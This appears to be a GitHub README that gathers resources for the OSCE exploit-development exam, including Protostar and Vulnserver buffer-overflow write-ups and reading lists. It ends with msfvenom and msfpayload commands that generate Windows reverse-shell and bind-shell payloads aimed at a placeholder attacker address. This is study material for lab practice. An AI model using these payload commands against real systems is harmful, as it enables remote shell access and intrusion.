bigb0sss / OSCE

Public Exploits + Extra-curriculum for OSCE Exam Preparation

Exploit Writeups

• Backdooring PE - Weaponizing Your Favorite PE
• SEH + Egghunter(Manual Encoding) - HP OpenView NNM 7.5 Exploitation

Exploit Exercise (Protostar)

Module	Link	Note
Stack0	Stack BOF Intro	N/A
Stack1	Stack BOF Basic1	N/A
Stack2	Stack BOF Basic2	N/A
Stack3	Stack BOF Basic3	N/A
Stack4	Stack BOF Basic4	N/A
Stack5	Stack BOF Shellcode
Stack6	Stack BOF ret2libc	ROP is no need for OSCE
Stack7	Stack BOF ret2.text	ROP is no need for OSCE. But learn POP; POP; RET concept with this

Vulnserver (Vulnserver)

Series	Link	Command	Vulnerability	Note
Part 1	Read	N/A	N/A	Lab Setup
Part 2	Read	TRUN	EIP Overwrite
Part 3	Read	GMON	SEH Overwrite + Short JMP + Egghunter
Part 4	Read	KSTET	EIP Overwrite + Short JMP + Egghunter
Part 5	Read	HTER	EIP Overwrite + Restricted Characters + Manual Offset Finding
Part 6	Read	GTER	EIP Overwrite + Socket Reuse Exploit
Part 7	Read	LTER	SEH Overwrite + Restricted Characters + Encoded Payloads

Links

• Study Plan - https://www.abatchy.com/2017/03/osce-study-plan
• Prep Guide - https://tulpa-security.com/2017/07/18/288/
• Mona.py - https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/

Reviews

• Techryptic - Great Tips
• Jack Halon - https://jhalon.github.io/OSCE-Review/
• Connor McGarr - https://connormcgarr.github.io/CTP-OSCE-Thoughts/

Github

• Examples - https://github.com/dhn/OSCE
• OSCE_Bible - https://github.com/mohitkhemchandani/OSCE_BIBLE
• FullShade - https://github.com/FULLSHADE/OSCE (*POCs)
• h0mbre - https://github.com/h0mbre/CTP-OSCE (*Good helpers)
• ihack4falafel - https://github.com/ihack4falafel/OSCE

Resources

• Corelan - https://www.corelan.be/index.php/articles/

  • Exploit Writing Part 1 - Stack-based Overflow
  • Exploit Writing Part 2 - Buffer Overflow

• FuzzSecurity - http://fuzzysecurity.com/tutorials.html

• SecuritySift - http://www.securitysift.com/

  • Windows Exploit Development Part 1 - Basics
  • Windows Exploit Development Part 2 - Stack-based Overflow
  • Windows Exploit Development Part 3 - Offsets
  • Windows Exploit Development Part 4 - Locating Shellcode JMP

• Fuzzing

  • https://resources.infosecinstitute.com/intro-to-fuzzing/
  • https://resources.infosecinstitute.com/fuzzer-automation-with-spike/

• Structured Exception Handler (SEH)

  • Exploit Writing Part 3-1 - SEH
  • Exploit Writing Part 3-2 - SEH
  • Windows Exploit Development Part 6 - SEH

• Egghunter

  • http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
  • Exploit Writing Part 8 - Egghunting
  • Windows Exploit Development Part 5 - Egghunting

• ASLR

  • Exploit Writing Part 6 - ASLR

• Shellcoding

  • Exploit Wrting Part 9 - Shellcoding
  • https://www.fuzzysecurity.com/tutorials/expDev/6.html
  • http://sh3llc0d3r.com/windows-reverse-shell-shellcode-i/
  • http://www.vividmachines.com/shellcode/shellcode.html#ws
  • Jumping to Shellcode - https://connormcgarr.github.io/CTP-OSCE-Thoughts/
  • Alphanumeric Shellcod2 1 - https://blog.knapsy.com/blog/2017/05/01/quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/
  • Alphanumeric Shellcode 2 - https://connormcgarr.github.io/Admin-Express-0day/

• Opcode

  • 32-bit Opcode Table - http://sparksandflames.com/files/x86InstructionChart.html
  • Types of Jump - http://www.unixwiz.net/techtips/x86-jumps.html
  • ASM Assembler/Dissambler - https://defuse.ca/online-x86-assembler.htm#disassembly

• Web Application

  • XSS - https://excess-xss.com/
  • XSS - https://www.veracode.com/security/xss

• Windows API

  • API Tables - https://docs.microsoft.com/en-us/windows/win32/apiindex/windows-api-list

Reverse Shell

Windows XP/Vista Ultimate

/pentest/exploits/framework/msfpayload windows/shell_reverse_tcp LHOST=192.168.x.x LPORT=443 C

Later Windows

/pentest/exploits/framework/msfpayload windows/shell_reverse_tcp LHOST=192.168.x.x LPORT=443 C 

msfvenom -p windows/shell_reverse_tcp LHOST=1192.168.x.x LPORT=443 -a x86 --platform=win -e x86/alpha_mixed -f raw

Bind Shell

Windows XP/Vista Ultimate

msfpayload windows/shell_bind_tcp R > bind
msfencode -e x86/alpha_mixed -i bind -t perl

Later Windows

msfvenom -p windows/shell_bind_tcp -a x86 --platform=win -e x86/alpha_mixed -f perl